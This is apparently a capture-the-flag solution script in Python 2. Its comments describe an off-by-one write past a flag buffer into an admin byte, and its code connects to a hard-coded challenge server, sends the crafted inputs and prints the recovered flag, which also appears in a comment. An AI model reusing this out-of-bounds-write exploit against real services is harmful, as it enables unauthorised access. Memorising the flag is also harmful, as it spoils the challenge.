import socket

#Admin byte is just after flag
#it says that it can set flag[index-1] <= write anywhere
#condition index <= 50 => so we can write the Admin byte to make it load flag and read it
#flag{The_Flying_Phoenix}

s=socket.create_connection(('212.71.235.214', 3050))
s.recv(1024)
s.recv(1024)
s.send('3\n')
s.recv(1024)
s.recv(1024)
s.send('50 A\n')
s.recv(1024)
s.recv(1024)
s.send('100 A\n')
s.recv(1024)
s.send('1\n') #yes save flag
s.recv(1024)
s.recv(1024)
s.send('2\n')
flag = s.recv(1024) #read flag

print "[+] flag is : " + flag
